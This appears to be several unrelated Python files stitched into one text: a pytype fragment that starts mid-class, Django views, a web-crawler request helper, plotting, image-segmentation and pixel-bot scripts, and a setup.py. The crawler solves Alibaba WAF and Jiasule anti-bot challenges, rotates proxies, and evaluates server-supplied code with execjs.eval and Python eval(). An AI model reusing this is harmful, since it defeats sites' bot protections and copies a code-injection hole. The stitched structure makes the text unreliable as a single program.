      if key not in self._resolved_instances:
        self._resolved_instances[key] = self._type.instantiate(node, container)
      return self._resolved_instances[key]
    else:
      instance = _instance_base.Instance(self, self.ctx)
      self._unresolved_instances.add(instance)
      return instance.to_variable(node)

  def get_special_attribute(self, node, name, valself):
    if name == "__getitem__" and not self.resolved:
      container = _base.BaseValue.to_annotation_container(self)  # pytype: disable=wrong-arg-types
      return container.get_special_attribute(node, name, valself)
    return self._type.get_special_attribute(node, name, valself)

  def is_late_annotation(self):
    return True

  def is_recursive(self):
    """Check whether this is a recursive type."""
    if not self.resolved:
      return False
    seen = {id(self)}
    stack = [self._type]
    while stack:
      t = stack.pop()
      if t.is_late_annotation():
        if id(t) in seen:
          return True
        seen.add(id(t))
      if isinstance(t, mixin.NestedAnnotation):
        stack.extend(child for _, child in t.get_inner_types())
    return False

class FinalAnnotation(_base.BaseValue):
  """Container for a Final annotation."""

  def __init__(self, annotation, ctx):
    super().__init__("FinalAnnotation", ctx)
    self.annotation = annotation

  def __repr__(self):
    return f"Final[{self.annotation}]"

  def instantiate(self, node, container=None):
    return self.to_variable(node)


from django.http import HttpResponse
from django.template import loader

def index(request):
    template = loader.get_template('pages/page_index.html')
    context = {}
    return HttpResponse(template.render(context, request))

def page(request):
    template = loader.get_template('pages/page_display.html')
    context = {
        'page_id': request.GET['page_id']
    }
    print(context['page_id'])
    return HttpResponse(template.render(context, request))


# -*- coding: utf-8 -*-
# @Project : CrawlersTools
# @Time    : 2022/6/21 17:08
# @Author  : MuggleK
# @File    : base_requests.py

import json
import random
import re
import time

from chardet import detect
from httpx import Client, Response
from loguru import logger

from CrawlersTools.requests.proxy import get_proxies
from CrawlersTools.requests.random_ua import UserAgent

class BaseRequests(object):
    """
    A Rquests Class base on httpx

    Usage:

    ```python
    >>> base_requests = BaseRequests().base_requests
    >>> response = base_requests('https://example.org')
    ```
    """

    def base_requests(
        self,
        url: str,
        session: object = None,
        headers=UserAgent(),
        method: str = "get",
        proxies: dict = None,
        proxy_url: str = None,
        http2: bool = False,
        encoding: str = None,
        retry: int = 3,
        **kwargs
    ) -> Response:
        """
        内置ali_waf & 加速乐解密

        :param url: 请求链接
        :param session: 维持session可从外部传入
        :param headers: 请求头
        :param method:  具体请求方式
        :param proxies: ip代理，配合proxy_url可失效自动切换
        :param proxy_url:  获取代理链接
        :param http2:   是否使用http2.0协议
        :param retry:   请求重试次数，默认3次
        :param encoding:   指定编码，默认detect解析，效果同requests的apparent_encoding
        :param kwargs:  请求时需携带的其他参数
        :return: Response
        :exception: 1.代理失效&超过重试次数返回None 2.waf或加速乐解密失败返回None
        """
        for _ in range(retry):
            try:
                proxies = proxies if proxies else get_proxies(proxy_url, http2=True)
                session = session or Client(
                    http2=http2,
                    headers=headers,
                    proxies=proxies,
                    timeout=kwargs.get("timeout", 20),
                    verify=kwargs.get("verify", True),
                    follow_redirects=kwargs.get("allow_redirects", False)
                )
                response = session.request(
                    method=method.lower(),
                    url=url,
                    headers=headers,
                    content=kwargs.get("content"),
                    data=kwargs.get("data"),
                    files=kwargs.get("files"),
                    json=kwargs.get("json"),
                    params=kwargs.get("params"),
                    timeout=kwargs.get("timeout", 20),
                    follow_redirects=kwargs.get("allow_redirects", False)
                )
                response.encoding = encoding if encoding else detect(response.content)['encoding']  # chardet 更准确
                if 200 <= response.status_code < 300 or response.status_code == 412:
                    if 'arg1=' in response.text:
                        acw_tc_cookie = f'acw_tc={session.cookies.get("acw_tc")};'
                        headers["Cookie"] = headers["Cookie"] + acw_tc_cookie if headers.get("Cookie") else acw_tc_cookie
                        reg_arg1 = re.findall("var arg1='(.*)';", response.text)[0]
                        arg2 = self.ali_waf(reg_arg1)
                        headers['cookie'] += f'acw_sc__v2={arg2}'
                        continue
                    return response
                elif response.status_code == 521:
                    if 'document.cookie' in response.text:
                        cookie_key = [key for key in list(session.cookies.keys()) if key.startswith("__jsluid")][0]
                        headers["Cookie"] = headers["Cookie"] if headers.get("Cookie") else f'{cookie_key}={session.cookies.get(cookie_key)};'
                        headers["Cookie"] += f'{self.process_fuck_js(response.text)};'
                        continue
                    elif 'chars' in response.text:
                        __jsl_clearance_s = self.process_clearance(response.text)
                        headers["Cookie"] = '='.join(headers["Cookie"].split('=')[:-1]) + f'={__jsl_clearance_s};'
                        continue
                else:
                    proxies = None
                    time.sleep(random.uniform(0, 1))
                    continue
            except Exception as err:
                logger.error(f'url：{url} error：{err} proxies：{proxies}')
                proxies = None
                time.sleep(random.uniform(0, 1))
                continue

    @staticmethod
    def ali_waf(arg1):
        """
        acw_sc__v2算法
        :param arg1:
        :return:
        """
        list1 = [15, 35, 29, 24, 33, 16, 1, 38, 10, 9, 19, 31, 40, 27, 22, 23, 25, 13, 6, 11, 39, 18, 20, 8, 14, 21, 32,
                 26, 2, 30, 7, 4, 17, 5, 3, 28, 34, 37, 12, 36]
        dict1 = {}
        for i in range(len(arg1)):
            string = arg1[i]
            for j in range(len(list1)):
                if list1[j] == i + 1:
                    dict1[j] = string
        str1 = ''.join([dict1.get(i) for i in range(40)])

        str1_list = list(str1)
        str2 = "3000176000856006061501533003690027800375"
        str2_list = list(str2)
        str4 = ''
        for m in range(0, len(str1_list), 2):
            int1 = int(''.join(str1_list[m:m + 2]), 16)
            int2 = int(''.join(str2_list[m:m + 2]), 16)
            str3 = str(hex(int1 ^ int2))[2:]
            if len(str3) == 1:
                str3 = '0' + str3
            str4 += str3
        return str4

    @staticmethod
    def process_fuck_js(js_text):
        import execjs

        js_text = js_text.split(';location.href=loc')[0].split('document.cookie=')[-1]
        r = execjs.eval(js_text).split(';')[0]
        return r

    @staticmethod
    def process_clearance(html):
        import hashlib

        data = json.loads(re.findall(r'go\((.*?)\)', html)[1])
        chars_length = len(data.get('chars'))
        for i in range(chars_length):
            for j in range(chars_length):
                result = data.get('bts')[0] + data.get('chars')[i] + data.get('chars')[j] + data.get('bts')[1]
                b = eval('hashlib.{}()'.format(data.get('ha')))
                b.update(result.encode(encoding='utf-8'))
                res = b.hexdigest()
                if res == data.get('ct'):
                    return result


import matplotlib.pyplot as plt
import numpy as np

# Create some data to plot
x = np.arange(5)
y = [2, 5, 3, 8, 10]

# Set the xticks with labels that include LaTeX and \n
xticks = [r'Label 1', r'Label$_{2}\n$with superscript $x^2$', r'Label 3', r'Label$_{4}$', r'Label 5']
plt.plot(x, y)
plt.xticks(x, xticks, rotation=0)

# Enable LaTeX rendering
plt.rc('text', usetex=True)

# Show the plot
plt.show()


#!/usr/bin/env python3
#_main_.py
import writer
import getimage
import argparse
import os
from time import sleep
import gimmedahandler   #import shit

##set up the parser
parser = argparse.ArgumentParser(
description= "A simple bot to place pixels from a picture to whatever you want \n Please note to write files with their according filetypes",
epilog= "Have fun with my Bot",
prefix_chars="-/",
add_help=False
)
# add arguments to the parser
parser.add_argument("-?", "--help", action="help", help="Show this help message")
parser.add_argument("--User_Interface", "-ui", action="store_true", dest="UI", help="Wether or not you will use the built-in User Interface. If given, will ignore all other parameters.")
parser.add_argument("-s", "--silence", "-s", action="store_true", dest="silence", help="If this parameter is given, the Program will not output anyting (exept fatal errors)")
parser.add_argument("-nc", "--no_colors", action="store_true", dest="nc", help="Wether to not use custom text coloring(e.g. if the output is saved to a file)")
parser.add_argument("-p", "--picture", type=str, dest="inpath", action="store", help="The path of the picture you want the Bot to draw.")
parser.add_argument("-h", "--handler", type=str, dest="handler", action="store", help="The file name of the handler that the Bot will use to draw your image.")
parser.add_argument("-sx", "--startx", type=int, dest="startx", action="store", help="The x coordinate of the top left corner of the canvas \n that the bot will draw your image into")
parser.add_argument("-sy", "--starty", type=int, dest="starty", action="store", help="The y coordinate of the top left corner of the canvas \n that the bot will draw your image into")
parser.add_argument("-ex", "--endx", type=int, dest="endx", action="store", help="The x coordinate of the bottom right corner of the canvas \n that the bot will draw your image into")
parser.add_argument("-ey", "--endy", type=int, dest="endy", action="store", help="The y coordinate of the bottom right corner of the canvas \n that the bot will draw your image into")
args = parser.parse_args() #parse the given arguments
#print("hehe", flush=True)
if args.UI and args.silence:
    while True:
        sleep(1)
        #how you gonna use a invisible UI???
if args.nc:     #creating a temporary file so that the toolset module knows wether or not to use custom colouring
    f = open("nc.temp", "x")
    f.close()
if args.UI == False and args.inpath == None and args.handler == None and args.startx == None and args.starty == None:
    parser.parse_args(["-?"]) #return the help page if no args are given
#print(args.handler)
if args.UI:
    image, size = getimage.imageprompt(args.UI) #getting the image stuff
    handler = gimmedahandler.gethandler(args.handler, args.UI) #retriveving the handler
    #print(handler)
    startx, starty, endx, endy = writer.getcanvas(args.UI, args.startx, args.starty, args.endx, args.endy) # retrieving the info about the canvas coordinates from the user
    writer.write(image, handler, startx, starty, endx, endy, size, args.UI, args.silence) #giving shit to the writing algorithms
    if args.nc:     #removing the temporary file
        os.remove("./nc.temp")
else:
    handler = gimmedahandler.gethandler(args.handler, args.UI) #prepping handler
    image, size = getimage.imageprompt(args.UI, args.inpath) #prepping the given img
    startx, starty, endx, endy = writer.getcanvas(args.UI, args.startx, args.starty, args.endx, args.endy) #checking the coords
    writer.write(image, handler, startx, starty, endx, endy ,size, args.UI, args.silence) #writing the image to the canvas
    if args.nc:      #removing the temporary file
        os.remove("./nc.temp")


import os
import cv2
import numpy as np
import skimage.exposure as sk_exposure
import matplotlib.pyplot as plt
from skimage.io import imshow, imread
from skimage.color import rgb2hsv, hsv2rgb
from skimage import color
from scipy.ndimage.filters import maximum_filter
from scipy.ndimage.morphology import generate_binary_structure, binary_erosion

low=40
high=60
kernel = np.ones((4,4), np.uint8)

path_image_contour= 'C:/Users/Laura/AppData/Local/Programs/Python/Python36/Phenotype/Paint/001'

FILENAME='C:/Users/Laura/AppData/Local/Programs/Python/Python36/Phenotype/Images/006/TCGA-001-tile-r12-c5-x4096-y11264-w1024-h1024.PNG' #image can be in gif jpeg or png format
path_image_final = 'C:/Users/Laura/AppData/Local/Programs/Python/Python36/Phenotype/Images/Image_seg'
import matplotlib.pyplot as plt
import matplotlib.image as mpimg

#img=cv2.imread(FILENAME)
#imgplot = plt.imshow(img)
#plt.show()

kernel_dil = np.ones((3,3), np.uint8)

#def contour_img (path_image_contour) :

list_img = os.listdir(path_image_contour)
for annot_num, annotation_tif in (enumerate(list_img)):

    imagepath =path_image_contour+'/'+ annotation_tif
    print(annotation_tif)
    img = cv2.imread(imagepath,1)
    p= os.path.basename(annotation_tif)
    name1 = os.path.splitext(p)[0]
    fname = name1 + '.png'
    path_image_final_1 = os.path.join(path_image_final,fname)
    img= cv2.resize(img, (364,364), interpolation = cv2.INTER_AREA)
    cv2.imshow('',img)
    cv2.waitKey(0)
    img = cv2.erode(img, kernel_dil, iterations=1)
    img_hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)

    img_fin = np.zeros(img.shape, dtype=np.uint8)
   # img_hsv = cv2.dilate(img_hsv, kernel, iterations=1)

    lower_mask = img_hsv [:,:,0] > 90
    upper_mask = img_hsv [:,:,0] < 130
    saturation = img_hsv [:,:,1] > 100

    mask = upper_mask*lower_mask *saturation
    red = img[:,:,0]*mask
    green = img[:,:,1]*mask
    blue = img[:,:,2]*mask
    red_girl_masked = np.dstack((red,green,blue))
    red_girl_masked = cv2.cvtColor(red_girl_masked, cv2.COLOR_BGR2GRAY)

    cv2.imshow('',red_girl_masked)
    cv2.waitKey(0)

    ret,threshNuclei = cv2.threshold(red_girl_masked,0,255,cv2.THRESH_BINARY)

    contoursNuclei, hierarchy = cv2.findContours(threshNuclei,cv2.RETR_TREE ,cv2.CHAIN_APPROX_SIMPLE)
 #   cv2.drawContours(img ,contoursNuclei, -1, (0,255,0), 1)
 #   cv2.imshow('',img)
 #   cv2.waitKey(0)

    for c in zip(contoursNuclei, hierarchy[0]):
        if cv2.contourArea(c[0]) > 200:
            if c[1][3] != -1:

                temp = np.zeros(img.shape, dtype=np.uint8)
                cv2.fillPoly(temp, pts=[c[0]], color=(255, 255, 255))
            #    cv2.imshow('',temp)
            #    cv2.waitKey(0)
                masked_image = cv2.bitwise_and(img, temp)
                Mask_black = cv2.bitwise_not(masked_image)
                mask_ = cv2.bitwise_not(temp)
                masked_image_ = cv2.bitwise_or(masked_image, mask_)

                temp_1 = cv2.cvtColor(temp, cv2.COLOR_BGR2GRAY )
                #image_max = ndi.maximum_filter(masked_image_, size=20, mode='constant')
                dst = cv2.cornerHarris(temp_1,12,13,0.20)
                dst = cv2.dilate(dst,None)

                masked_image_shape = (masked_image_[dst>0.01*dst.max()]).shape
                masked_image_[dst>0.01*dst.max()]=[0,0,255]
              #  cv2.imshow('dst',masked_image_)
              #  cv2.waitKey(0)
                print( masked_image_shape[0])
                if masked_image_shape[0]< 290:
                    img_fin = img_fin+temp
                elif len(masked_image_[dst>0.09*dst.max()])<210:
                    img_fin = img_fin+temp

   # cv2.imshow('',img_fin)
  #  cv2.waitKey(0)
    cv2.imwrite(path_image_final_1, img_fin)
    cv2.imshow('',img_fin)
    cv2.waitKey(0)

   # cv2.drawContours(img ,contoursNuclei, -1, (0,255,0), 1)


#!/usr/bin/env python
import sys
import os

from distutils.core import setup
from distutils.command.install import install, write_file
from distutils.command.install_egg_info import to_filename, safe_name
from functools import reduce

class new_install(install):
    def initialize_options(self):
        install.initialize_options(self)

    def run(self):
        install.run(self)
        # hack to remove old module
        old_path = os.path.join(self.install_libbase, "playitslowly", "playitslowly.py")
        for p in (old_path + x for x in ("o", "c", "")):
            if os.path.exists(p):
                self.execute(os.unlink, (p, ), "Removing old file %r" % p)

        # write install-info
        basename = "%s-py%s.install-info" % (
            to_filename(safe_name(self.distribution.get_name())),
            sys.version[:3]
        )
        install_info = os.path.join(self.install_libbase, basename)
        outputs = self.get_outputs()
        if self.root:               # strip any package prefix
            root_len = len(self.root)
            for counter in range(len(outputs)):
                outputs[counter] = outputs[counter][root_len:]
        self.execute(write_file,
                (install_info, outputs),
                "writing install-info to '%s'" % install_info)

def ls_r(dir):
    def do_reduce(a, b):
        files = []
        for f in b[2]:
            files.append(os.path.join(b[0], f))
        a.append((b[0], files))
        return a
    return reduce(do_reduce, os.walk(dir), [])

kwargs = {
      'cmdclass': {'install': new_install},
      'name': 'playitslowly',
      'version': "1.5.1",
      'description': 'A tool to help you when transcribing music. It allows you to play a piece of music at a different speed or pitch.',
      'author': 'Jonas Wagner',
      'author_email': 'jonas@29a.ch',
      'url': 'http://29a.ch/playitslowly/',
      'packages': ['playitslowly'],
      'scripts': ['bin/playitslowly'],
      'options': {'py2exe':{
          'packages': 'encodings',
          'includes': 'cairo, pango, pangocairo, atk, gobject',
          'dist_dir': 'dist/win32',
          'optimize': 2,
          }},
      'data_files': ls_r('share'),
      'license': 'GNU GPL v3',
      'classifiers': [
        'Environment :: X11 Applications :: GTK',
        'Intended Audience :: End Users/Desktop',
        'License :: OSI Approved :: GNU General Public License (GPL)',
        'Natural Language :: English',
        'Operating System :: POSIX',
        'Programming Language :: Python',
        ]
}

try:
    import py2exe
    kwargs['windows'] = [{'script': 'bin/playitslowly',
          'icon_resources': [(1, 'playitslowly.ico')],
          'dest_base': 'playitslowly'}]
except ImportError:
    pass

setup(**kwargs)